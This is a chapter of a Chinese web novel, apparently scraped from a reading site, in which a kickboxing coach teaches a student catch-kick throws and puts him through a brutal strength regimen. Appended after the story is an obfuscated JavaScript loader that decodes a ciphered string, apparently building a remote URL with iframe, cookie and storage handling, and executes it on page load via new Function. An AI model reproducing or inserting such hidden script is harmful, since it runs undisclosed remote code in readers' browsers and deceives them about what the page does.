(手机请访问 m.duxs8.com)自从高教练回来之后，他通常都会在下午抽空跟每个学员进行十分钟的攻防演练，借此了解大家的弱点和优势，然后作出针对性指导。今天也不例外。
老高对着王晋说道：“当对手起脚向我方发出肋部的扫踢时，我方可以稍微斜斜身子，用后背来卸力迎接击打。这很简单，因为背部抗揍啊……然后我方迅速下沉左拳，勾住对手的脚部跟腱！如此一来，对手就只剩下一条腿站立在地面上了……”
王晋聚精会神道：“嗯！”
高教练继续道：“一条腿维持身体平衡很吃力，你这时候可以进右脚用别腿的方法将他顺势放倒在地，这就是散打所谓的‘接腿摔’技术之一了！”
哇塞好神奇！
仿佛被打开了一扇窗户，王晋满眼都是光明！
高教练道：“当然，接住对方的腿后，还能用右手直拳迎击面部、用低扫腿攻击对方的胫骨，方法多种多样，不要只拘泥一种套路。总而言之一句话，腿在你手里，怎么收拾随便你！”
王晋心悦诚服道：“谢谢老师！”
高教练的脸上掠过某种失落的情绪：“其实摔法才是我们中式格斗的精华，可为了跟国际规则接轨，就像泰拳被限制使用肘法一样，国外的站立式搏击舞台也同样禁止抱摔动作……我知道你喜欢摔法，但现在值得花功夫打磨的，也只有接腿摔这一类了，虽然还不被裁判作为优势局面来考量。”
王晋瞪眼道：“啊？规则禁止主动摔人？被动的反击摔摔了等于白摔？那还练它干啥？我还不如都把时间用在拳术和腿法上呢！”
高教练笑得极其狡猾：“傻小子，接腿摔确实不算得势，但如果一个家伙他比你牛逼，打擂时却忽然被你摔在地下躺着两眼发直，你说他的心理会产生什么变化？”
王晋恍然道：“妙哉！他指定会觉得万分沮丧，甚至开始怀疑人生，导致对自己丧失信心！”
高教练道：“没错！拳手最厉害的东西其实是稳定的心态，如果信心被打破了，那么他也就完蛋啦！你把他干倒几次，他说不定连腿都不敢踢了！万一他倒地的时候抽筋啦、摔伤啦、扭到啦，再打起来你想你该有多么简单呐！没有胆魄的男人，就像没有蛋蛋的纸老虎！”
王晋哈哈道：“教练，您真是老奸……老谋深算啊！厉害厉害！”
高教练道：“哼，少拍马屁，光说无用，咱俩来练练！”
王晋道：“哎……”
（站立式职业比赛废除主动抱摔，是为了增加对抗的激烈性和观赏性，减少不必要的缠斗，所以我们现在在电视上能够看到的摔法只有“接腿摔”这一种了。当然，无限制的MMA综合格斗规则例外。）
金鹰拳馆为一省之冠，属于群英荟萃之地，上头为啥把业务水平了得的高飞安排在培养新人的岗位上？原因就是他拥有一双慧眼，懂得因材施教。
高教练仔细观察了九位学员一段时间，注意力全部被王晋同学夺走！没办法，某些人就像口袋里的锥子，迟早都要探出脑袋，露出锋芒的。
优秀的反射神经、强横的力量、夸张的柔韧性、大块头里堪称恐怖的速度，只能用一个词来形容他的身体条件：极度罕见！
高教练如获至宝，特地指出几样科目，让王晋重点训练。
第一样：大锤砸轮胎。
抡大锤可以有效锻炼背部力量，同时对协调性和爆发力也有特殊的效果。
第二样：抖绳训练。
锻炼核心、大腿、肩臂力量，以及爆发力和速度。
第三样：大重量负重跳台阶。
锻炼耐力和爆发力。
第四样：大重量腿举。
拳手必须要拥有强悍的腰腿力量，上肢得尽量避免大力度的器械锻炼，否则肌肉容易僵化，影响速度。腿部则不然，腿部可以经得起折腾，高教练的腿举方法是训练单腿腿举，这样在踢击时可以保持支撑腿的稳定性。
第五样：悬重静止踢腿。
腿部保持踢击姿势，在攻击腿上悬挂杠铃片保持静止，锻炼耐力和力量。
能够看得出来，高教练并没有把打磨技击技术安排在第一位，他想要的目的是把王晋的特点尽量放大，放大他的力量、放大他的爆发力，以后走力量型杀手的路线。
呵呵，于是乎，王晋开始倒霉啦！
和高教练的力度相比，池虎当时的训练就跟玩儿一样，王同学天天累得死去又活来，连皮都脱了三层！他偷偷地给高教练起了个外号：高阎王。
胆敢偷懒？揍！
次数不够？揍！
动作不标准？揍！
重量未达标？揍！
高教练喜欢用一种两指宽的竹条来打人，揍在肉上声音特别清脆，而且一打就会留下一道深深的青紫血印……好吧，这是个变态啊！
说实话，跟着池师兄训练王晋从没想过要悄悄溜走，可自从跟着老高之后，他多次爬到墙上发呆，厉鬼一样疯狂嚎叫！跳下去吧，跳下去就是广阔天空，跳下去就有自由世界……等嗓子吼哑了，情绪宣泄了，他却又咬牙回到了训练营。
——男子汉一言既出，驷马难追。表叔是搏击界的名人，可不能丢了他的脸啊！
王晋毕竟野性难驯，好几次他被揍急了，都用喷火的眼神盯住老高，老高则满不在乎地跟他对视，俩人瞅着瞅着王晋便开始龇牙咧嘴，露出笑脸……这汉子无情的棍棒和冰冷的讥讽下，是浓浓的关怀和爱护，某同学并非草木，当然心知肚明。
此外，就打法的大方面，高教练也给他指出了光明的道路！
第一：拳法要精湛。
小级别在竞技的时候，腿法使用频率特别高，但大级别不同，大级别频繁用腿更耗体力，容易露出空当被敌手利用，所以必须苦练拳法。
第二：腿法要简练。
摒弃花哨无用的招式，先只固定苦练一两种低位腿法，练熟、练重、练精，一招鲜吃遍天。
随着时代进步，国内清醒的一些搏击人早已把目光投向外面，向邻居学习、向欧美学习，谁叫咱们总是干不过人家呢？落后就要挨打，死守只能困毙！高飞教练的某些理念和他使用的一些手段是“拿来的”，“越级”的，颠覆传统的，“弃我之糟粕、采他人所长”，他根本不是在培养一个初级学员，而是在给一位世界冠军奠定根基……
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();